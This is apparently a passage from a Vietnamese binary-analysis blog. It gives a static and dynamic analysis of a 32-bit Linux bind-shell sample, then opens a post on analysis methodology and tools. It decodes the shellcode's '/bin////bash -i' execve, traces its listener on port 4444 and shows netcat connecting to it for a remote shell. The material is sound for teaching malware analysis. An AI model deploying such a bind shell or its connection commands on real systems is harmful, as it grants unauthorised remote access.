<li><p>Các bước sau đó thực hiện tương tự như cách trình đã trình bày bên trên. Khối code này thực hiện gọi hàm: <code>int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);</code> với tham số thứ 2 và 3 bằng NULL. Viết ngắn gọn: <code>accept(3, NULL, NULL)</code></p>
</li>
</ul>
</li>
<li><p><strong>Khối: 080480b9 &lt;change_fd&gt;</strong></p>
<ul>
<li><p>Khối này liên tục thực hiện 3 ngắt tương đương 3 lần System call.</p>
</li>
<li><p>Các System call lần lượt được gọi là: <code>dup2(4, 0), dup2(4, 1), dup2(4, 2)</code></p>
</li>
<li><p>Mục đích: Chuyển hướng các Accept File Descriptor về 3 dạng: <code>STDIN, STDOUT, STDERR</code>.</p>
</li>
</ul>
</li>
<li><p><strong>Khối: 080480cd &lt;shell_exec&gt;</strong></p>
<ul>
<li><p>Tại 80480cd và 80480cf: Reset EAX và Push lên Stack</p>
</li>
<li><p>Tại 80480d0 đến 80480da: Push các hex data lên Stack. Tiến hành decode các data này như sau:</p>
<pre><code class="language-python">$ python
&gt;&gt;&gt; a = '68736162'.decode('hex')
&gt;&gt;&gt; b = '2f2f2f2f'.decode('hex')
&gt;&gt;&gt; c = '6e69622f'.decode('hex')
&gt;&gt;&gt; final = a + b + c
&gt;&gt;&gt; final[::-1]
'/bin////bash'
</code></pre>
</li>
<li><p>Tại 80480e2: decode tương tự:</p>
<pre><code class="language-python">$ python
&gt;&gt;&gt; '692d'.decode('hex')[::-1]
'-i'
</code></pre>
</li>
<li><p>Tại 80480df: EBX trỏ đến chuỗi: <code>"/bin////bash -i"</code>.</p>
</li>
<li><p>Tại 80480ef: AL=0xb ⇒ System call number ⇒ <code>#define __NR_execve 11</code> ⇒ <code>int execve(const char *filename, char *const argv[], char *const envp[]);</code></p>
</li>
<li><p>Tóm lại khối này thực hiện hàm <code>execve</code> nhằm mục đích gọi <code>bash shell</code> hệ thống</p>
</li>
</ul>
</li>
<li><p><strong>Khối: 080480f3</strong></p>
<ul>
<li><p>Gọi đến khối: <code>8048078 &lt;call_bind&gt;</code></p>
</li>
<li><p>Một điểm quan trọng cần lưu ý là khi thực hiện lệnh <code>CALL</code> thì địa chỉ của lệnh kế tiếp được đưa lên Stack. Trường hợp này lệnh kế tiếp có mã opcode là: 0x115c đã bị <code>objdump</code> hiểu nhầm là mã lệnh, thực ra nó là data ⇒ <strong>Đây là Port 4444.</strong> Vậy địa chỉ của Port được đưa lên Stack. Đây là một nhược điểm của công cụ objdump.</p>
</li>
</ul>
</li>
<li><p><strong>Khối: 080480f8</strong></p>
<ul>
<li>Khối này thực chất không có mã lệnh nào cả, <code>objdump</code> đã nhận diện nhầm opcode 0x115c thành mã lệnh, chính xác nó là dữ liệu, port number 4444.</li>
</ul>
</li>
</ul>
<h1>4. Phân tích động với Ltrace/Strace</h1>
<p>Phân tích động đem lại nhiều lợi thế so với phân tích tĩnh như: nhanh chóng có kết quả, dễ dàng thực hiện,.. tuy nhiên cần có một môi trường phân tích lý tưởng. Do <strong>BindShell</strong> được viết bằng Assembly và thực hiện các System Call nên <code>Ltrace</code> sẽ không thể monitor được, chúng ta sẽ sử dụng <code>Strace</code>.</p>
<p>Do Strace monitor các API cấp thấp sẽ dẫn đến việc có rất nhiều các api được gọi chồng chéo nhau dẫn đến kết quả đầu ra rất khó đọc, tôi sẽ sử dụng tham số <code>-e</code> để lọc các api quan trọng:</p>
<pre><code class="language-bash">$ strace -itx -e trace=process,network ./ch06-bindshell32
17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0
17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
17:00:09 [080480aa] listen(3, 1)        = 0
17:00:09 [080480b9] accept(3,
</code></pre>
<p>Lúc này BindShell đã chạy và đang lắng nghe kết nối trên Port <code>4444</code>. Để kiểm tra:</p>
<pre><code class="language-bash">$ sudo netstat -plant | grep -i '4444'
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      6397/ch06-bindshell
</code></pre>
<p>Trên một Terminal khác, sử dụng <code>netcat</code> để kiểm tra bằng cách kết nối đến như sau:</p>
<pre><code class="language-bash">$ nc -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
To run a command as administrator (user "root"), use "sudo &lt;command&gt;".
See "man sudo_root" for details.

osboxes@bac32:/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit$
</code></pre>
<p>Quan sát lại logs của <code>Strace</code>:</p>
<pre><code class="language-bash">$ strace -itx -e trace=process,network ./ch06-bindshell32
17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0
17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
17:00:09 [080480aa] listen(3, 1)        = 0
17:00:09 [080480b9] accept(3, NULL, NULL) = 4
17:00:19 [080480f3] execve("/bin////bash", ["/bin////bash", "-i"], NULL) = 0
17:00:19 [b7f8ecf5] socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
17:00:19 [b7f8ecf5] connect(5, {sa_family=AF_LOCAL, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
...
17:00:31 [b7f8ecf5] exit_group(0)       = ?
17:00:31 [????????] +++ exited with 0 +++
</code></pre>
<p>Trình <code>netcat</code> như một ứng dụng client kết nối đến Server, khi kết nối thành công, server gọi <code>bash shell</code>, client get được shell trên server.</p>
<h1>5. Phân tích động với GDB/EDB</h1>
<p>Sử dụng GDB với <code>PEDA Plugin</code> để phân tích trình <strong>BindShell</strong>. Thực hiện như sau:</p>
<pre><code class="language-bash">$ gdb ch06-bindshell32
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
&lt;http://www.gnu.org/software/gdb/bugs/&gt;.
Find the GDB manual and other documentation resources online at:
&lt;http://www.gnu.org/software/gdb/documentation/&gt;.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ch06-bindshell32...(no debugging symbols found)...done.
gdb-peda$ start
...
gdb-peda$ next
</code></pre>
<p>Thực hiện <code>next</code> cho đến: <code>0x8048072 &lt;_start+18&gt;: int 0x80</code>. Đây là điểm System Call đầu tiên được gọi. Kết quả ta được như sau:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/af171e04-1408-48a1-aaab-a86907d26456.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/1c5256bc-873e-468e-9cf6-ef7063caa67c/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Giải thích:</p>
<ul>
<li><p>Quan sát trạng thái Stack lúc này: <code>0x2, 0x1, 0x6</code></p>
</li>
<li><p>Điều này tương đương với: <code>socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)</code></p>
</li>
</ul>
<p>Tiếp tục next cho đến: <code>0x80480f3 &lt;portconfig&gt;: call 0x8048078 &lt;call_bind&gt;</code>. Thực hiên next thêm một lần, khi đó ta dừng tại: <code>0x8048078 &lt;call_bind&gt;: pop esi</code>. Kiểm tra Stack, lúc này Port number đã được đẩy lên:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/197bdc95-31fa-494a-bf47-7c31fa5b3b48.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/43432df5-5c98-458a-8693-baa4bb57fdc2/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Giải thích:</p>
<ul>
<li><p>Sử dụng lệnh: <code>x/wx $esp</code> ta biết được đỉnh Stack lúc này đang lưu một địa chỉ: 0x080480f8</p>
</li>
<li><p>Kiểm tra giá trị tại địa chỉ này, ta được: 0x00005c11</p>
</li>
<li><p>Ta chuyển đổi giá trị này theo quy ước Little-Endian được giá trị Port: 4444</p>
</li>
</ul>
<p>Tại: <code>0x8048097 &lt;call_bind+31&gt;: int 0x80</code>. Gọi <code>bind(sockfd, AF_INET, 4444, 0.0.0.0.0);</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/34447bc2-2bbb-46dd-9af1-3e6b72410f04.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/d57fc4c6-0c96-40f8-9b93-39e5a0d48ba6/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Tại: <code>0x80480a8 &lt;listener+15&gt;: int 0x80</code>. Gọi <code>listen(sockfd, backlog);</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b22eeb20-95c9-48e9-88df-c909099942bd.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4e75c0ec-9f5c-4db6-abde-75f70979abd9/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Tại: <code>0x80480b7 &lt;accept_connect+13&gt;: int 0x80</code>. Gọi <code>accept(sockfd, NULL, NULL)</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/1c2b2cc1-30d9-48f9-9054-592f721d0733.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b881eac5-df22-463b-88ca-8630892a77c3/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Tiếp theo ta cần tập chung nhiều hơn vào khối <code>shell_exec</code>. Tiến hành disassembly khối này:</p>
<pre><code class="language-plaintext">gdb-peda$ pdisass shell_exec
Dump of assembler code for function shell_exec:
   0x080480cd &lt;+0&gt;:     xor    eax,eax
   0x080480cf &lt;+2&gt;:     push   eax
   0x080480d0 &lt;+3&gt;:     push   0x68736162
   0x080480d5 &lt;+8&gt;:     push   0x2f2f2f2f
   0x080480da &lt;+13&gt;:    push   0x6e69622f
   0x080480df &lt;+18&gt;:    mov    ebx,esp
   0x080480e1 &lt;+20&gt;:    push   eax
   0x080480e2 &lt;+21&gt;:    pushw  0x692d
   0x080480e6 &lt;+25&gt;:    mov    esi,esp
   0x080480e8 &lt;+27&gt;:    push   eax
   0x080480e9 &lt;+28&gt;:    push   esi
   0x080480ea &lt;+29&gt;:    push   ebx
   0x080480eb &lt;+30&gt;:    mov    ecx,esp
   0x080480ed &lt;+32&gt;:    xor    edx,edx
   0x080480ef &lt;+34&gt;:    mov    al,0xb
   **0x080480f1 &lt;+36&gt;:    int    0x80**
End of assembler dump.
</code></pre>
<p>Đặt một Breakpoint tại <code>shell_exec</code>. Tại khối này sẽ diễn ra System Call, Sau đó nhập lệnh <code>continue</code> hoặc <code>c</code>:</p>
<pre><code class="language-plaintext">gdb-peda$ br * shell_exec
Breakpoint 2 at 0x80480cd
gdb-peda$ info breakpoints
Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x080480cd &lt;shell_exec&gt;
gdb-peda$ c
Continuing.
</code></pre>
<p>Lúc này chương trình rơi vào trạng thái lắng nghe các kết nối.:</p>
<pre><code class="language-bash">$ sudo netstat -plant | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      3775/ch06-bindshell
</code></pre>
<p>Tại một Terminal khác hay trên một máy từ xa, sử dụng <code>nc</code> như một trình client để kết nối đến <strong>BindShell</strong>:</p>
<pre><code class="language-bash">$ nc -nv 192.168.128.8 4444
Connection to 192.168.128.8 4444 port [tcp/*] succeeded!
</code></pre>
<p>Trong GDB, chúng ta đã dừng lại được tại khối <code>shell_exec</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/8da70f03-7b6a-4069-886f-02f30c15a479.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/41f0147e-34d5-4713-a9ab-b6d4a1f2563b/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Tiếp tục thực thi cho đến: <code>0x80480f1 &lt;shell_exec+36&gt;: int 0x80</code>, quan sát trạng thái Stack trước khi thực hiện System Call: Chuỗi: <code>"/bin////bash"</code> và <code>'-i'</code> đã được đưa lên Stack, đồng thời các thanh ghi EBX và ECX đang trỏ đến các chuỗi này, đây là các tham số cho hàm <code>execve</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/1f0d61d1-3da1-4ada-a3d4-440b86953f2e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/2e295da8-7a42-4540-85b6-42ca130e6f65/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Như vậy bài này đã đi phân tích một BindShell cơ bản bằng cả phương pháp phân tích động và phân tích tĩnh. Plugin PEDA trên GDB giúp chúng ta phân tích nhanh hơn, trực quan hơn rất nhiều so với việc sử dụng GDB ở TUI Mode.</p>
]]></content:encoded></item><item><title><![CDATA[Binary 104: Methodology and Tools]]></title><description><![CDATA[1. Quy trình phân tích
Phần này đi xây dựng một phương pháp hay chính xác là một quy trình các bước cần thực hiện khi phân tích binary, với mỗi bước sẽ đi kèm các công cụ cần thiết. Phân tích một Bina]]></description><link>https://blog.lehonghai.com/binary-104-methodology-and-tools</link><guid isPermaLink="true">https://blog.lehonghai.com/binary-104-methodology-and-tools</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Wed, 10 Mar 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h1>1. Quy trình phân tích</h1>
<p>Phần này đi xây dựng một phương pháp hay chính xác là một quy trình các bước cần thực hiện khi phân tích binary, với mỗi bước sẽ đi kèm các công cụ cần thiết. Phân tích một Binary có thể không tuân theo một quy trình nào cả, tuy nhiên việc làm đó có thể sẽ khiến ta bỏ lỡ một bước hay một thông tin nào đó quan trọng, thậm chí có thể xảy ra những sự cố không mong muốn. Dưới đây sẽ là quy trình chung khi phân tích một tệp Binary, không bắt buộc và áp dụng cho mọi trường hợp, nói chung phải: <code>"tùy cơ ứng biến"</code></p>
<h2>1.1. <strong>Tìm kiếm, xác định binary</strong></h2>
<p>Mục tiêu của bước này là đi xác định được những tệp được cho là nguy hiểm, nghi ngờ độc hại xuất hiện trên hệ thống: Tiến trình nghi ngờ, Binary mới xuất hiện gần đây, Binary đã có trước đó nhưng bị sửa đổi - ghi đè gần đây hay các Binary có tên giống hoặc trùng với các chương trình chuẩn,.v.v...</p>
<p>Một số công cụ hữu ích và ví dụ sử dụng:</p>
<ul>
<li><p>Lệnh <code>find</code>: Tìm kiếm các tệp thực thi trong một thư mục nào đó</p>
<pre><code class="language-bash">$ find /home/osboxes/ -executable -type f | head -10
/home/osboxes/bac/xelfviewer_lin64_portable_0.02.tar.gz
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-04/32bit/ch04-example
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-04/32bit/libhider.so
</code></pre>
</li>
<li><p>Lệnh <code>file</code>: Thông tin về một tệp</p>
<pre><code class="language-bash">$ file /bin/bash
/bin/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6f072e70e3e49380ff4d43cdde8178c24cf73daa, stripped
</code></pre>
</li>
<li><p>Kết hợp các lệnh: <code>find</code>, <code>file</code> và một chút <code>Bash Scripting</code> ta được một lệnh <strong>bá đạo.</strong></p>
<pre><code class="language-bash">\( for i in \)(find /home/osboxes/ -executable -type f);do file -i $i | grep -i 'x-executable; charset=binary';done
/home/osboxes/bac/edb-debugger/build/edb: application/x-executable; charset=binary
/home/osboxes/bac/edb-debugger/build/CMakeFiles/feature_tests.bin: application/x-executable; charset=binary
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-04/64bit/ch04-example: application/x-executable; charset=binary
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-03/64bit/ch03-helloworld64: application/x-executable; charset=binary
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-05/32bit/ch05-example-objcopy-stripped: application/x-executable; charset=binary
...
</code></pre>
</li>
<li><p>Lệnh <code>ls</code>: Liệt kê chi tiết về thời gian, kích thước, phân quyền của các tệp trong một thư mục.</p>
<pre><code class="language-bash">$ ls -halt /usr/bin/ | tail -20
-rwxr-xr-x  1 root root     9.5K Feb 12  2014 lzmainfo
-rwxr-xr-x  1 root root      66K Feb 12  2014 xz
-rwxr-xr-x  1 root root     5.4K Feb 12  2014 xzdiff
-rwxr-xr-x  1 root root     5.3K Feb 12  2014 xzgrep
-rwxr-xr-x  1 root root     1.8K Feb 12  2014 xzless
-rwxr-xr-x  1 root root     2.2K Feb 12  2014 xzmore
-rwxr-xr-x  1 root root      27K Jan 10  2014 apgbfm
-rwxr-xr-x  1 root root      276 Jan 10  2014 apg
-rwxr-xr-x  1 root root     9.7K Jul 11  2013 scprofiler
...
</code></pre>
</li>
<li><p>Lệnh <code>updatedb/locate</code>: Sử dụng kết hợp</p>
<pre><code class="language-bash">$ sudo updatedb
$ locate bash
/bin/bash
/bin/rbash
/etc/bash.bashrc
/etc/bash_completion
/etc/bash_completion.d
/etc/apparmor.d/abstractions/bash
...
</code></pre>
</li>
<li><p>Lệnh <code>ps</code>: List các tiến trình đang chạy</p>
<pre><code class="language-bash">$ ps -axu
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2  24996  4992 ?        Ss   Mar29   0:03 /sbin/init splash
root         2  0.0  0.0      0     0 ?        S    Mar29   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        I&lt;   Mar29   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I&lt;   Mar29   0:00 [mm_percpu_wq]
root         7  0.0  0.0      0     0 ?        S    Mar29   0:00 [ksoftirqd/0]
root         8  0.0  0.0      0     0 ?        I    Mar29   0:01 [rcu_sched]
...
</code></pre>
</li>
<li><p>Lệnh <code>which</code>: Thường tìm các vị trí trong biến môi trường <code>$PATH</code>. Một Binary độc hại có thể để tên theo một binary chuẩn nhằm đánh lừa người dùng đồng thời sửa đổi biến môi trường.</p>
<p>Khi hệ thống <strong>chưa bị tấn công</strong>:</p>
<pre><code class="language-bash">\( echo \)PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ which ls cat ps
/bin/ls
/bin/cat
/bin/ps
</code></pre>
<p>Khi hệ thống <strong>đã bị tấn công</strong>:</p>
<pre><code class="language-bash">\( echo \)PATH
/opt/evil:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ which ls cat ps
/opt/evil/ls
/opt/evil/cat
/opt/evil/ps
</code></pre>
</li>
</ul>
<h2>1.2. <strong>Thu thập thông tin</strong></h2>
<p>Khi đã xác định được một Binary được cho là độc hại hay nghi ngờ, thì ở bước này mục tiêu là sẽ thu thập nhiều thông tin hữu ích nhất có thể về một Binary. Bước này cực kỳ quan trọng trong toàn bộ quy trình trình phân tích. Để biết được thông tin nào là hữu ích cần thu thập ta đi trả lời các câu hỏi sau:</p>
<ul>
<li><p>Đối với mục đích Phân tích Binary</p>
<ul>
<li><p>Tệp có thể thực thi được hay không?</p>
</li>
<li><p>Tệp có phải Binary (Executable) không?</p>
</li>
<li><p>Tệp được viết bằng ngôn ngữ gì? biên dịch bằng Compiler nào?</p>
</li>
<li><p>Tệp là ELF hay PE?</p>
</li>
<li><p>Tệp có bị Stripped để xóa đi bảng: .symtab, .strtab không?</p>
</li>
<li><p>Có thể trích xuất, xác định được bất kỳ strings nào hữu ích từ tệp không?</p>
</li>
<li><p>Tệp có đang được chạy không (Process)?</p>
</li>
<li><p>Lấy mã băm (SHA1, SHA256) và tìm kiếm xem trước đó đã bị phát hiện là độc hại không?</p>
</li>
<li><p>Có thể xác định được bất kỳ chức năng (function) của tệp đc cho là hữu ích không?</p>
</li>
<li><p>Các thư viện mà tệp sử dụng là gì?</p>
</li>
<li><p>Tệp xuất hiện trên hệ thống hay bị sửa đổi gần nhất vào thời điểm nào?</p>
</li>
</ul>
</li>
<li><p>Đối với mục đích xác định lỗ hổng cần trả lời thêm</p>
<ul>
<li><p>Ứng dụng có nhận đầu vào không?</p>
</li>
<li><p>Ứng dụng có kiểm tra đầu vào không?</p>
</li>
<li><p>Ứng dụng có quản lý bộ nhớ một cách an toàn không?</p>
</li>
<li><p>Ứng dụng có sử dụng thư viện, thành phần phụ thuộc của bên thứ 3 không, chúng version nhiêu, được cập nhật không?</p>
</li>
<li><p>Ứng dụng được biên dịch như thế nào, có enable/disable các cơ chế bảo vệ không?</p>
</li>
<li><p>Có strings nào chứa dữ liệu nhạy cảm được hardcode không?</p>
</li>
</ul>
</li>
<li><p>Demo các công thu thập thông tin</p>
<p>Sử dụng <code>file</code> để lấy thông tin cơ bản về tệp:</p>
<pre><code class="language-bash">$ file ch04-example
ch04-example: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=be0fc51d5fa6803f3d477cd8eda1e41ecddab29a, not stripped
</code></pre>
<p>Sử dụng <code>readelf</code> hoặc <code>objdump</code> để tích xuất thông tin ELF Header</p>
<pre><code class="language-bash">$ readelf -a ch04-example
$ objdump -x ch04-example
</code></pre>
<p>Sử dụng <code>ldd</code> để trích xuất thông tin các thư viện, các thành phần phụ thuộc:</p>
<pre><code class="language-bash">$ ldd -v ch04-example
</code></pre>
<p>Sử dụng <code>strings</code> để trích xuất các chuỗi:</p>
<pre><code class="language-bash">$ strings ch04-example
/lib64/ld-linux-x86-64.so.2
libc.so.6
__isoc99_scanf
__stack_chk_fail
printf
strcmp
HardCodeH
dPassworH
Please enter the password to unlock the hidden message:
The hidden message is '%s'
Wrong, run the program again...
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
...
</code></pre>
<p>Sử dụng <code>hexdump</code> để trích xuất và hiển thị tệp dạng hex, ascii</p>
<pre><code class="language-bash">$ hexdump -C ch04-example
</code></pre>
</li>
</ul>
<h2>1.3. <strong>Phân tích tĩnh</strong></h2>
<p>Mục tiêu của phần này là sẽ đi sâu vào phân tích code của binary. Ưu điểm của phân tích tĩnh là cho ta biết hết chương trình có những chức năng gì, hành động gì,.v.v.. mà không cần thực thi chương trình. Nhược điểm là nó đòi hỏi kỹ năng về dịch ngược mức thấp, mã nguồn sẽ được tháo gỡ và tái tạo lại ở dạng Assembly. Ngoài ra khi phân tích còn gặp khó khăn với các kỹ thuật chống phân tích: Packed, Obfuscate,.v.v..</p>
<p>Phần lớn các trường hợp phân tích tĩnh sẽ sử dụng <code>objdump</code> làm công cụ để disassembly. Một số tham số hữu dụng của công cụ này:</p>
<ul>
<li><p><code>[d, --disassemble]</code>: disassembly các section được gắn flag X, tức là có quyền thực thi</p>
</li>
<li><p><code>[D, --disassemble-all]</code>: disassembly tất cả các section</p>
</li>
<li><p><code>[M, --disassembler-options=OPT]</code>: định dạng đầu ra theo một dạng cú pháp nào đó, thường sẽ sử dụng cú pháp Intel.</p>
</li>
</ul>
<p>Công cụ <code>ndisasm</code> chỉ hữu ích khi disassembly một đoạn byte, shellcode chứ khi disassembly một tệp tin nó không phân biệt được đâu là header, đâu là code, điều này dẫn đến việc ndisasm phân tích sai cú pháp assembly của chương trình. Ngược lại <code>objdump</code> phân biệt được các header và nó disassembly chính xác các section.</p>
<ul>
<li><p>Ví dụ công cụ phân tích tĩnh</p>
<ul>
<li><p>Disassemble Binary sử dụng <code>ndisasm</code>:</p>
<pre><code class="language-bash">$ ndisasm -a -p intel ch04-example
00000000  7F45              jg 0x47
00000002  4C                dec sp
00000003  46                inc si
00000004  0201              add al,[bx+di]
00000006  0100              add [bx+si],ax
00000008  0000              add [bx+si],al
...
</code></pre>
</li>
<li><p>Disassemble Binary sử dụng <code>objdump</code>:</p>
<pre><code class="language-bash">$ objdump -d -M intel ch04-example
...
0000000000400646 &lt;main&gt;:
  400646:       55                      push   rbp
  400647:       48 89 e5                mov    rbp,rsp
  40064a:       48 83 ec 60             sub    rsp,0x60
  40064e:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
...
</code></pre>
</li>
</ul>
</li>
</ul>
<h2>1.4. <strong>Phân tích động</strong></h2>
<p>Mục tiêu của bước này là đi thực thi chương trình một cách có kiểm soát, theo dõi hành vi của chương trình. Phân tích động có ưu điểm là dễ thực hiện, nhanh chóng thấy kết quả,.v.v.. Phân tích động nâng cao sẽ phải debugging Binary, kết hợp đọc mã Assembly, thực thi từng lệnh sau đó quan sát các Register, trạng thái Stack và cách Binary tương tác với hệ thống. Phân tích động cũng sẽ gặp phải các kỹ thuật Anti-Debug, Anti-Sandbox,.v.v..</p>
<p>Một số công cụ sử dụng trong quá trình phân tích động: <code>gdb, edb, ltrace, strace</code></p>
<ul>
<li><p>Ví dụ công cụ phân tích động</p>
<ul>
<li><p>Cài đặt <code>PEDA</code> Plugin cho <code>GDB</code>:</p>
<pre><code class="language-bash">$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" &gt;&gt; ~/.gdbinit
</code></pre>
</li>
<li><p>Sử dụng <code>PEDA</code> cơ bản khi ở trong shell tương tác của GDB, tham khảo: <a href="http://ropshell.com/peda/Linux%5C_Interactive%5C_Exploit%5C_Development%5C_with%5C_GDB%5C_and%5C_PEDA%5C_Slides.pdf">http://ropshell.com/peda/Linux\_Interactive\_Exploit\_Development\_with\_GDB\_and\_PEDA\_Slides.pdf</a></p>
<ul>
<li><p><code>peda help</code>: Show các command mà peda hỗ trợ</p>
</li>
<li><p><code>pdis main</code>: Disassembly hàm main</p>
</li>
<li><p><code>checksec</code>: Show trạng thái các cờ: CANARY, FORTIFY, NX, PIE, RELRO</p>
</li>
<li><p><code>start</code>: Bắt đầu chạy chương trình</p>
</li>
<li><p><code>break main</code>, <code>break * main+127</code>: Đặt một breakpoint tại hàm main hoặc một vị trí tương đối trong hàm <strong>main</strong>.</p>
</li>
<li><p><code>p/d</code>: Tính toán, như một trình calculator</p>
</li>
<li><p><code>x/wx $esp</code>: Show giá trị các biến hoặc thanh ghi</p>
</li>
<li><p><code>next</code>: Thực thi một lệnh, sẽ làm thay đổi EIP ⇒ trỏ đến lệnh tiếp theo.</p>
</li>
<li><p><code>watch $EAX</code>: Theo dõi một thanh ghi hoặc biến</p>
</li>
<li><p><code>stack 50</code>: In ra nội dung Stack trong khoảng 50</p>
</li>
</ul>
</li>
<li><p>Debugging một Binary bằng <code>PEDA</code>:</p>
<pre><code class="language-bash">$ gdb ch04-example
break * main+127
Breakpoint 1 at 0x4006c5
gdb-peda$ start
gdb-peda$ run
</code></pre>
<p>Kết quả ta dừng tại lệnh <strong>call</strong> đến hàm <code>printf</code>. Ta thấy PEDA nhận diện được tham số truyền vào hàm là chuỗi: <code>"Please enter the password to unlock the hidden message: "</code>. <strong>PEDA</strong> có giao diện rất trực quan, dễ hiểu, là một plugin không thể thiếu khi dùng <strong>GDB</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/352d2142-5c6a-4e34-bcaf-b9ac9a8ddbba.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/2aefa2ff-434d-4006-83c5-46dde0675206/Untitled.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Ngoài ra còn có <code>ltrace</code> và <code>strace</code> sẽ đề cập ở phần sau</p>
</li>
</ul>
</li>
</ul>
<h2>1.5. <strong>Lặp lại các bước đã phân tích</strong></h2>
<p>Bước này sẽ lặp lại quá trình phân tích tĩnh, phân tích động cho đến khi chúng ta giải quyết được vấn đề. Đôi khi một chương trình đi kèm với các thự viện hoặc nó gọi một chương trình khác. Lúc này ta sẽ lặp lại các bước đã thực hiện đối với các chương trình con hoặc thư viện đó.</p>
<h2>1.6. <strong>Tự động hóa các bước phân tích</strong></h2>
<p>Bước này đi xây dựng một công cụ để tự động hóa các bước phân tích tĩnh và thu thập thông tin. Công cụ sẽ tự động disassmbly theo yêu cầu của chúng ta, công việc còn lại sẽ chỉ là đi đọc hiểu kết đầu ra đã được lưu vào tập tin. Công cụ được viết bằng <code>Bash Script</code></p>
<ul>
<li><p>Source code <code>bac-automation.sh</code></p>
<pre><code class="language-bash">#!/bin/bash

# BINARY ANALYSIS AUTOMATION
# BY - Michael Born
# DATE - 2019

if [ \(# -lt 2 ] || [\)# -gt 2 ]
then
    echo "Not enough arguments: usage = $0 &lt;binary file&gt; &lt;output file&gt;";

else
    BINARY=$1;
    OUTPUTFILE=$2;

    # SETUP OUTPUT INFORMATION
    echo "This output created by \(USER on \)(date)" |tee $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
